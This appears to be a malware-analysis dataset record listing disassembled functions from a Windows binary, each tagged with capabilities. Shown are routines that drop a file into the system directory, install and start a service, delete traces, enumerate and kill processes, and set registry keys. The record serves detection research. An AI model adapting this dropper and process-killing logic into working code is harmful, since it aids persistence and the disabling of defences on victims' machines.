joyce8/EMBER2024-capa huggingface dataset:
Function at 0x419bb0
Capabilities:
Delete file
Delete registry key
Get common file path
Query service status
Start service

Disassembly:
sub esp, 0x120
push ebx
push esi
mov esi, ecx
cmp dword [esi + 4], 0xffffffff
je 0x419bce
pop esi
mov eax, 1
pop ebx
add esp, 0x120
ret
mov ebx, dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push 0
push 3
push 0
push 0
push connect
push 0x460058
call ebx
cmp eax, 0xffffffff
mov dword [esi + 4], eax
je 0x419c03
mov eax, 1
mov dword [esi + 8], eax
pop esi
pop ebx
add esp, 0x120
ret
mov eax, dword [esi + 8]
test eax, eax
je 0x419c18
pop esi
mov eax, 1
pop ebx
add esp, 0x120
ret
lea eax, [esp + 0x24]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [esp + 0x24]
push 0x460040
push ecx
call dword [sym.imp.SHLWAPI.dll_PathAppendA]
lea edx, [esp + 0x24]
mov ecx, esi
push edx
call fcn.00419b40
test eax, eax
jne 0x419c51
pop esi
pop ebx
add esp, 0x120
ret
lea eax, [esp + 0x24]
push edi
push eax
push 0x460034
mov ecx, esi
call fcn.0041c450
mov edi, eax
test edi, edi
je 0x419cbc
lea ecx, [esp + 0xc]
push ecx
push edi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
je 0x419c89
cmp dword [esp + 0x10], 4
jne 0x419c89
mov dword [esi + 8], 1
jmp 0x419cb5
push 0
push 0
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
mov dword [esi + 8], eax
push 0
je 0x419ca4
push 0x460024
jmp 0x419ca9
push 0x460014
call fcn.0041d780
mov ecx, eax
call fcn.0041e0f0
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
lea edx, [esp + 0x28]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x45ffe8
push connect
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
mov eax, dword [esi + 8]
pop edi
test eax, eax
je 0x419d03
push 0
push 0
push 3
push 0
push 0
push connect
push 0x460058
call ebx
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov dword [esi + 4], eax
mov dword [esi + 8], ecx
mov eax, dword [esi + 8]
pop esi
pop ebx
add esp, 0x120
ret
Function at 0x41a310
Capabilities:
Create thread
Terminate thread

Disassembly:
sub esp, 0x10
push ebx
push ebp
push edi
mov dword [esp + 0xc], 0
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, dword [esp + 0x24]
xor edx, edx
cmp ecx, eax
setne dl
mov ebp, edx
test ebp, ebp
je 0x41a368
push ecx
push 1
push 0x40
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
je 0x41a370
push 2
push 0
lea eax, [esp + 0x14]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov ecx, dword [esp + 0x30]
push eax
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
jmp 0x41a370
mov edx, dword [esp + 0x20]
mov dword [esp + 0xc], edx
mov eax, dword [esp + 0x28]
mov ecx, dword [esp + 0xc]
mov dword [esp + 0x14], eax
xor eax, eax
test ecx, ecx
mov dword [esp + 0x10], ecx
mov dword [esp + 0x18], eax
je 0x41a3e5
push esi
push eax
lea ecx, [esp + 0x18]
push eax
push ecx
push 0x41a240
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, eax
test esi, esi
je 0x41a3d2
push 0x3e8
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x41a3cf
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov dword [esp + 0x1c], 0
push esi
call ebx
test ebp, ebp
pop esi
je 0x41a3e1
push edi
call ebx
mov edx, dword [esp + 0xc]
push edx
call ebx
mov eax, dword [esp + 0x18]
pop edi
pop ebp
pop ebx
add esp, 0x10
ret
Function at 0x41a3f0
Capabilities:
Get system information on windows

Disassembly:
mov eax, 0x1010
call sub.ntdll.dll__chkstk
push ebx
mov ebx, dword [sym.imp.MSVCRT.dll_malloc]
push ebp
push esi
xor esi, esi
push 0x2000
mov dword [esp + 0x10], esi
mov dword [esp + 0x14], esi
call ebx
mov ebp, eax
add esp, 4
cmp ebp, esi
je 0x41a564
lea eax, [esp + 0xc]
push edi
mov edi, dword [sym.imp.ntdll.dll_ZwQuerySystemInformation]
push eax
push 0x2000
push ebp
push 0x10
call edi
cmp eax, 0xc0000004
jne 0x41a462
push ebp
call dword [sym.imp.MSVCRT.dll_free]
mov ecx, dword [esp + 0x14]
lea esi, [ecx + 0x100]
push esi
call ebx
add esp, 8
lea edx, [esp + 0x10]
mov ebp, eax
push edx
push esi
push ebp
push 0x10
call edi
test eax, eax
jl 0x41a54b
mov eax, dword [ebp]
test eax, eax
jbe 0x41a54b
mov ebx, dword [esp + 0x1028]
lea edi, [ebp + 0xa]
mov dword [esp + 0x1c], eax
mov eax, dword [edi - 6]
cmp eax, ebx
jne 0x41a539
cmp byte [edi - 2], 0x1c
jne 0x41a539
lea ecx, [esp + 0x20]
xor edx, edx
mov dx, word [edi]
push ecx
push eax
push edx
call fcn.0041a310
add esp, 0xc
test eax, eax
je 0x41a539
mov eax, dword [esp + 0x1024]
lea ecx, [esp + 0x20]
push eax
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
je 0x41a539
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp ebx, eax
jne 0x41a4e7
xor edx, edx
mov dx, word [edi]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esp + 0x14], eax
jmp 0x41a539
push ebx
push 1
push 0x40
mov dword [esp + 0x24], 0
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x41a539
push 1
push 0
lea eax, [esp + 0x20]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor ecx, ecx
push eax
mov cx, word [edi]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov eax, dword [esp + 0x18]
test eax, eax
je 0x41a532
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esp + 0x14], eax
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x1c]
add edi, 0x10
dec eax
mov dword [esp + 0x1c], eax
jne 0x41a483
push ebp
call dword [sym.imp.MSVCRT.dll_free]
mov eax, dword [esp + 0x18]
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1010
ret
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0x1010
ret

Function at 0x41a570
Capabilities:
Create directory
Delete file
Set file attributes

Disassembly:
sub esp, 0x100
lea eax, [esp]
push esi
mov esi, dword [esp + 0x108]
push 0
push eax
push 0
push 0
push esi
call dword [sym.imp.ntdll.dll__splitpath]
mov ecx, dword [esp + 0x120]
lea edx, [esp + 0x18]
push ecx
push edx
call fcn.0041a3f0
add esp, 0x1c
test eax, eax
je 0x41a5d3
push 0x20
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
je 0x41a5d3
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov eax, 1
pop esi
add esp, 0x100
ret
xor eax, eax
pop esi
add esp, 0x100
ret
Function at 0x41aeb0
Capabilities:
Get socket status
Send data
Send data on socket

Disassembly:
sub esp, 0x110
push ebx
mov ebx, dword [esp + 0x120]
push ebp
push esi
xor esi, esi
push edi
cmp ebx, esi
mov dword [esp + 0x14], 3
mov dword [esp + 0x18], esi
mov dword [esp + 0x10], esi
jbe 0x41af4a
mov ebp, dword [esp + 0x128]
mov edi, dword [esp + 0x124]
cmp dword [esp + 0x10], 3
jge 0x41af4a
lea eax, [esp + 0x14]
lea ecx, [esp + 0x1c]
push eax
push 0
push ecx
push 0
push edi
mov dword [esp + 0x34], edi
mov dword [esp + 0x30], 1
call dword [sym.imp.WSOCK32.dll_select]
test eax, eax
je 0x41af3d
cmp eax, 0xffffffff
je 0x41af4a
lea edx, [esp + 0x1c]
push edx
push edi
call sub.WSOCK32.dll___WSAFDIsSet
test eax, eax
je 0x41af3d
mov eax, ebx
push 0
sub eax, esi
lea ecx, [esi + ebp]
push eax
push ecx
push edi
call dword [sym.imp.WSOCK32.dll_send]
test eax, eax
jle 0x41af3d
add esi, eax
mov ecx, dword [esp + 0x10]
inc ecx
cmp esi, ebx
mov dword [esp + 0x10], ecx
jb 0x41aee5
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x110
ret

Function at 0x41af60
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
sub esp, 0x110
push ebx
mov ebx, dword [esp + 0x120]
push ebp
push esi
xor esi, esi
push edi
cmp ebx, esi
mov dword [esp + 0x14], 3
mov dword [esp + 0x18], esi
mov dword [esp + 0x10], esi
jbe 0x41affa
mov ebp, dword [esp + 0x128]
mov edi, dword [esp + 0x124]
cmp dword [esp + 0x10], 3
jge 0x41affa
lea eax, [esp + 0x14]
lea ecx, [esp + 0x1c]
push eax
push 0
push 0
push ecx
push edi
mov dword [esp + 0x34], edi
mov dword [esp + 0x30], 1
call dword [sym.imp.WSOCK32.dll_select]
test eax, eax
je 0x41afed
cmp eax, 0xffffffff
je 0x41affa
lea edx, [esp + 0x1c]
push edx
push edi
call sub.WSOCK32.dll___WSAFDIsSet
test eax, eax
je 0x41afed
mov eax, ebx
push 0
sub eax, esi
lea ecx, [esi + ebp]
push eax
push ecx
push edi
call dword [sym.imp.WSOCK32.dll_recv]
test eax, eax
jle 0x41afed
add esi, eax
mov ecx, dword [esp + 0x10]
inc ecx
cmp esi, ebx
mov dword [esp + 0x10], ecx
jb 0x41af95
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x110
ret
Function at 0x41bd50
Capabilities:
Terminate process

Disassembly:
mov eax, dword [esp + 4]
push edi
xor edi, edi
test eax, eax
je 0x41bd89
cmp eax, 4
je 0x41bd89
push esi
push eax
push edi
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x41bd82
push edi
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop esi
pop edi
ret 4
xor eax, eax
pop edi
ret 4

Function at 0x41bd90
Capabilities:
Delete file
Enumerate processes

Disassembly:
sub esp, 0x234
push ebx
push ebp
push esi
push edi
push 0
push 2
mov dword [esp + 0x18], 0
mov dword [esp + 0x20], 0x128
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea ecx, [esp + 0x18]
mov dword [esp + 0x14], eax
push ecx
push eax
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x41be97
mov ebp, dword [esp + 0x248]
mov ebx, dword [sym.imp.MSVCRT.dll__mbsicmp]
mov eax, dword [esp + 0x24c]
xor esi, esi
test eax, eax
je 0x41be31
mov edx, dword [esp + 0x20]
push edx
push esi
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
je 0x41be47
lea eax, [esp + 0x140]
push 0x104
push eax
push esi
push edi
call sub.PSAPI.DLL_GetModuleFileNameExA
test eax, eax
jbe 0x41be28
lea ecx, [esp + 0x140]
push ecx
push ebp
call ebx
mov esi, eax
add esp, 8
neg esi
sbb esi, esi
inc esi
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x41be43
lea edx, [esp + 0x3c]
push edx
push ebp
call ebx
mov esi, eax
add esp, 8
neg esi
sbb esi, esi
inc esi
test esi, esi
jne 0x41be60
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0x18]
push eax
push ecx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x41bdd7
jmp 0x41be97
mov edx, dword [esp + 0x20]
push edx
call fcn.0041bd50
test eax, eax
jne 0x41be74
mov dword [esp + 0x10], eax
jmp 0x41be97
mov edi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
push ebp
call edi
test eax, eax
mov dword [esp + 0x10], eax
jne 0x41be97
push 0xa
call ebx
inc esi
cmp esi, 0x32
jb 0x41be82
mov eax, dword [esp + 0x14]
pop edi
pop esi
pop ebp
test eax, eax
pop ebx
je 0x41beaa
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp]
add esp, 0x234
ret
Function at 0x41bec0
Capabilities:
Enumerate process modules

Disassembly:
sub esp, 0x10c
mov eax, dword [0x464864]
mov ecx, dword [0x464868]
mov dx, word [0x46486c]
push ebx
push esi
push edi
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], ecx
mov ecx, 0x3e
xor eax, eax
lea edi, [esp + 0x1e]
mov word [esp + 0x1c], dx
rep stosd dword es:[edi], eax
mov ebx, dword [esp + 0x11c]
stosw word es:[edi], ax
xor edi, edi
push ebx
push edi
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x41bf3e
lea eax, [esp + 0x10]
lea ecx, [esp + 0xc]
push eax
push 4
push ecx
push esi
call sub.PSAPI.DLL_EnumProcessModules
test eax, eax
je 0x41bf3e
mov eax, dword [esp + 0xc]
lea edx, [esp + 0x14]
push 0x104
push edx
push eax
push esi
call sub.PSAPI.DLL_GetModuleBaseNameA
mov ecx, dword [esp + 0x120]
push 0x104
lea edx, [esp + 0x18]
push ecx
push edx
call dword [sym.imp.MSVCRT.dll__mbsnicmp]
add esp, 0xc
test eax, eax
jne 0x41bf6c
push ebx
call fcn.0041bd50
test eax, eax
je 0x41bf6c
mov edi, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
pop ebx
add esp, 0x10c
ret

Function at 0x41bf80
Capabilities:
Enumerate process modules

Disassembly:
sub esp, 0x10c
mov eax, dword [0x464864]
mov ecx, dword [0x464868]
mov dx, word [0x46486c]
push ebx
push ebp
push esi
push edi
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], ecx
mov ecx, 0x3e
xor eax, eax
lea edi, [esp + 0x22]
mov word [esp + 0x20], dx
xor ebp, ebp
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov eax, dword [esp + 0x120]
push eax
push ebp
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x41bfff
lea ecx, [esp + 0x14]
lea edx, [esp + 0x10]
push ecx
push 4
push edx
push esi
call sub.PSAPI.DLL_EnumProcessModules
test eax, eax
je 0x41bfff
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x18]
push 0x104
push eax
push ecx
push esi
call sub.PSAPI.DLL_GetModuleBaseNameA
lea edi, [esp + 0x18]
or ecx, 0xffffffff
xor eax, eax
mov ebx, dword [esp + 0x124]
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, ebx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp edx, ecx
jbe 0x41c054
sub edx, ecx
push 0x104
push ebx
lea edx, [esp + edx + 0x20]
push edx
call dword [sym.imp.MSVCRT.dll__mbsnicmp]
add esp, 0xc
test eax, eax
jne 0x41c054
mov eax, dword [esp + 0x120]
push eax
call fcn.0041bd50
test eax, eax
je 0x41c054
mov ebp, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x10c
ret

Function at 0x41c070
Capabilities:
Enumerate process modules

Disassembly:
mov eax, 0x1004
call sub.ntdll.dll__chkstk
lea eax, [esp]
push ebx
push eax
lea ecx, [esp + 0xc]
push 0x1000
push ecx
xor ebx, ebx
call sub.PSAPI.DLL_EnumProcesses
test eax, eax
jne 0x41c09d
pop ebx
add esp, 0x1004
ret
mov eax, dword [esp + 4]
shr eax, 2
je 0x41c0d1
push ebp
mov ebp, dword [esp + 0x1010]
push esi
push edi
lea esi, [esp + 0x14]
mov edi, eax
mov eax, dword [esi]
test eax, eax
je 0x41c0c8
push ebp
push eax
call fcn.0041bec0
add esp, 8
add ebx, eax
add esi, 4
dec edi
jne 0x41c0b6
pop edi
pop esi
pop ebp
mov eax, ebx
pop ebx
add esp, 0x1004
ret
Function at 0x41c0e0
Capabilities:
Enumerate process modules

Disassembly:
mov eax, 0x1004
call sub.ntdll.dll__chkstk
lea eax, [esp]
push ebx
push eax
lea ecx, [esp + 0xc]
push 0x1000
push ecx
xor ebx, ebx
call sub.PSAPI.DLL_EnumProcesses
test eax, eax
jne 0x41c10d
pop ebx
add esp, 0x1004
ret
mov eax, dword [esp + 4]
shr eax, 2
je 0x41c141
push ebp
mov ebp, dword [esp + 0x1010]
push esi
push edi
lea esi, [esp + 0x14]
mov edi, eax
mov eax, dword [esi]
test eax, eax
je 0x41c138
push ebp
push eax
call fcn.0041bf80
add esp, 8
add ebx, eax
add esi, 4
dec edi
jne 0x41c126
pop edi
pop esi
pop ebp
mov eax, ebx
pop ebx
add esp, 0x1004
ret

Function at 0x41c150
Capabilities:
Enumerate process modules

Disassembly:
mov eax, 0x1218
call sub.ntdll.dll__chkstk
mov eax, dword [esp + 0x121c]
push esi
push edi
xor edi, edi
push eax
push edi
push 0x410
mov dword [esp + 0x14], edi
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
cmp esi, edi
mov dword [esp + 0x14], esi
jne 0x41c18b
pop edi
xor eax, eax
pop esi
add esp, 0x1218
ret
lea ecx, [esp + 0xc]
lea edx, [esp + 0x220]
push ecx
push 0x1000
push edx
push esi
call sub.PSAPI.DLL_EnumProcessModules
test eax, eax
je 0x41c284
mov eax, dword [esp + 0xc]
mov dword [esp + 0x10], edi
test eax, 0xfffffffc
jbe 0x41c284
mov edi, dword [esp + 0x1228]
push ebx
mov ebx, dword [sym.imp.SHLWAPI.dll_StrStrIA]
push ebp
lea ebp, [esp + 0x228]
mov ecx, dword [ebp]
lea eax, [esp + 0x124]
push 0x104
push eax
push ecx
push esi
call sub.PSAPI.DLL_GetModuleFileNameExA
test eax, eax
je 0x41c267
lea edx, [esp + 0x124]
lea ecx, [esp + 0x20]
mov esi, 0x104
lea eax, [esp + 0x20]
sub edx, ecx
mov cl, byte [edx + eax]
test cl, cl
je 0x41c214
mov byte [eax], cl
inc eax
dec esi
jne 0x41c205
jmp 0x41c218
test esi, esi
jne 0x41c219
dec eax
mov edx, dword [edi]
mov byte [eax], 0
lea eax, [esp + 0x20]
push edx
push eax
call ebx
test eax, eax
je 0x41c23f
mov ecx, dword [esp + 0x122c]
push ecx
call fcn.0041bd50
test eax, eax
je 0x41c23f
inc dword [esp + 0x10]
mov edx, dword [edi + 4]
lea eax, [esp + 0x20]
push edx
push eax
call ebx
test eax, eax
je 0x41c263
mov ecx, dword [esp + 0x122c]
push ecx
call fcn.0041bd50
test eax, eax
je 0x41c263
inc dword [esp + 0x10]
mov esi, dword [esp + 0x1c]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x14]
inc eax
add ebp, 4
shr edx, 2
cmp eax, edx
mov dword [esp + 0x18], eax
jb 0x41c1d4
pop ebp
pop ebx
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 8]
pop edi
pop esi
add esp, 0x1218
ret

Function at 0x41c2a0
Capabilities:
Enumerate process modules

Disassembly:
mov eax, 0x1004
call sub.ntdll.dll__chkstk
lea eax, [esp]
push ebp
push eax
lea ecx, [esp + 0xc]
push 0x1000
push ecx
xor ebp, ebp
call sub.PSAPI.DLL_EnumProcesses
test eax, eax
jne 0x41c2cd
pop ebp
add esp, 0x1004
ret
push edi
mov edi, dword [esp + 8]
shr edi, 2
je 0x41c2fa
push ebx
mov ebx, dword [esp + 0x1014]
push esi
lea esi, [esp + 0x14]
mov edx, dword [esi]
push ebx
push edx
call fcn.0041c150
add esp, 8
add ebp, eax
add esi, 4
dec edi
jne 0x41c2e4
pop esi
pop ebx
mov eax, ebp
pop edi
pop ebp
add esp, 0x1004
ret
Function at 0x41c390
Capabilities:
Write file on windows

Disassembly:
mov eax, dword [esp + 4]
push esi
push 0
push 0x80
push 2
push 0
push 2
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x41c3bb
xor eax, eax
pop esi
ret 4
lea ecx, [esp + 8]
push 0
push ecx
push 0x7388
push 0x464870
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
push esi
jne 0x41c3e4
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop esi
ret 4
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop esi
ret 4

Function at 0x41c450
Capabilities:
Check if file exists
Create service
Get file attributes

Disassembly:
push ecx
push ebx
push esi
push edi
mov edi, dword [esp + 0x14]
lea eax, [esp + 0xc]
mov dword [esp + 0xc], 0
push eax
push edi
call fcn.0041c400
mov esi, eax
test esi, esi
jne 0x41c4a9
mov eax, dword [esp + 0xc]
test eax, eax
je 0x41c4b8
mov ebx, dword [esp + 0x18]
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x41c4a9
push esi
push esi
push esi
mov ecx, dword [esp + 0x18]
push esi
push esi
push ebx
push 1
push 3
push 1
push 0xf01ff
push edi
push edi
push ecx
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov esi, eax
mov eax, dword [esp + 0xc]
test eax, eax
je 0x41c4b8
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, esi
pop edi
pop esi
pop ebx
pop ecx
ret 8
Function at 0x41c620
Capabilities:
Delete file
Delete registry key
Get common file path
Query service status
Start service

Disassembly:
sub esp, 0x120
push ebx
push esi
mov esi, ecx
cmp dword [esi + 0x1c], 0xffffffff
je 0x41c4ee
pop esi
mov eax, 1
pop ebx
add esp, 0x120
ret
mov ebx, dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push 0
push 3
push 0
push 0
push connect
push 0x46bc48
call ebx
cmp eax, 0xffffffff
mov dword [esi + 0x1c], eax
je 0x41c523
mov eax, 1
mov dword [esi + 0x18], eax
pop esi
pop ebx
add esp, 0x120
ret
mov eax, dword [esi + 0x18]
test eax, eax
je 0x41c538
pop esi
mov eax, 1
pop ebx
add esp, 0x120
ret
lea eax, [esp + 0x24]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [esp + 0x24]
push 0x46bc30
push ecx
call dword [sym.imp.SHLWAPI.dll_PathAppendA]
lea edx, [esp + 0x24]
mov ecx, esi
push edx
call fcn.0041c390
test eax, eax
jne 0x41c571
pop esi
pop ebx
add esp, 0x120
ret
lea eax, [esp + 0x24]
push edi
push eax
push 0x46bc24
mov ecx, esi
call fcn.0041c450
mov edi, eax
test edi, edi
je 0x41c5be
lea ecx, [esp + 0xc]
push ecx
push edi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
je 0x41c5a9
cmp dword [esp + 0x10], 4
jne 0x41c5a9
mov dword [esi + 0x18], 1
jmp 0x41c5b7
push 0
push 0
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
mov dword [esi + 0x18], eax
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
lea edx, [esp + 0x28]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x46bbf8
push connect
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
mov eax, dword [esi + 0x18]
pop edi
test eax, eax
je 0x41c605
push 0
push 0
push 3
push 0
push 0
push 0x80
push 0x46bc48
call ebx
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov dword [esi + 0x1c], eax
mov dword [esi + 0x18], ecx
mov eax, dword [esi + 0x18]
pop esi
pop ebx
add esp, 0x120
ret
mov eax, dword [ecx + 0x18]
test eax, eax
jne 0x41c62c
jmp 0x41c4d0
ret
Function at 0x41c680
Capabilities:
Set registry value

Disassembly:
push ecx
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
push esi
lea eax, [esp + 8]
push edi
push eax
push 0x46bd18
push connect
call ebx
test eax, eax
je 0x41c6b1
mov ecx, dword [esp + 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
xor eax, eax
pop ebx
pop ecx
ret
mov edx, dword [esp + 0xc]
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 7
push 0x46bd10
push 1
push 0
push 0
push edx
call esi
test eax, eax
je 0x41c6e1
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
xor eax, eax
pop ebx
pop ecx
ret
mov ecx, dword [esp + 0xc]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ecx
call edi
lea edx, [esp + 0xc]
push edx
push 0x46bcd4
push connect
call ebx
test eax, eax
je 0x41c711
mov eax, dword [esp + 0xc]
push eax
call edi
pop edi
pop esi
xor eax, eax
pop ebx
pop ecx
ret
mov ecx, dword [esp + 0xc]
push 7
push 0x46bd10
push 1
push 0
push 0
push ecx
call esi
test eax, eax
je 0x41c737
mov edx, dword [esp + 0xc]
push edx
call edi
pop edi
pop esi
xor eax, eax
pop ebx
pop ecx
ret
mov eax, dword [esp + 0xc]
push eax
call edi
lea ecx, [esp + 0xc]
push ecx
push 0x46bc94
push connect
call ebx
test eax, eax
je 0x41c761
mov edx, dword [esp + 0xc]
push edx
call edi
pop edi
pop esi
xor eax, eax
pop ebx
pop ecx
ret
mov eax, dword [esp + 0xc]
push 7
push 0x46bd10
push 1
push 0
push 0
push eax
call esi
test eax, eax
je 0x41c787
mov ecx, dword [esp + 0xc]
push ecx
call edi
pop edi
pop esi
xor eax, eax
pop ebx
pop ecx
ret
mov edx, dword [esp + 0xc]
push edx
call edi
lea eax, [esp + 0xc]
push eax
push 0x46bc58
push connect
call ebx
test eax, eax
je 0x41c7b1
mov ecx, dword [esp + 0xc]
push ecx
call edi
pop edi
pop esi
xor eax, eax
pop ebx
pop ecx
ret
mov edx, dword [esp + 0xc]
push 7
push 0x46bd10
push 1
push 0
push 0
push edx
call esi
test eax, eax
je 0x41c7d7
mov eax, dword [esp + 0xc]
push eax
call edi
pop edi
pop esi
xor eax, eax
pop ebx
pop ecx
ret
mov ecx, dword [esp + 0xc]
push ecx
call edi
pop edi
pop esi
mov eax, 1
pop ebx
pop ecx
ret